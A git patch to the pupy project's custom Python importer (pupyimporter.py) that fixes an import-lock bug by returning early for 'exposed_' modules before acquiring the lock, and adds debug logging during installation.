From bced04d76a4a758e99899e71616b66a77dfbac71 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Sat, 10 Feb 2018 18:17:57 +0200 Subject: [PATCH] Fix imp lock bug --- pupy/packages/all/pupyimporter.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py index ff745c6c..6e3079fb 100644 --- a/pupy/packages/all/pupyimporter.py +++ b/pupy/packages/all/pupyimporter.py @@ -408,15 +408,17 @@ class PupyPackageFinder(object): raise PupyPackageFinderImportError() def find_module(self, fullname, path=None, second_pass=False): + if fullname.startswith('exposed_'): + return None + global modules global remote_load_package + dprint('Find module: {}/{}/{}'.format(fullname, path, second_pass)) + imp.acquire_lock() selected = None - if fullname.startswith('exposed_'): - return None - try: files=[] if fullname in ( 'pywintypes', 'pythoncom' ): @@ -594,9 +596,14 @@ def install(debug=None, trace=False): gc.set_threshold(128) if allow_system_packages: + dprint('Install pupyimporter + local packages') + sys.path_hooks.append(PupyPackageFinder) sys.path.append('pupy://') + else: + dprint('Install pupyimporter - standalone') + sys.meta_path = [] sys.path = [] sys.path_hooks = [] @@ -709,3 +716,5 @@ def install(debug=None, trace=False): import logging logger = logging.getLogger('ppi') __dprint_method = logger.debug + + dprint('pupyimporter initialized')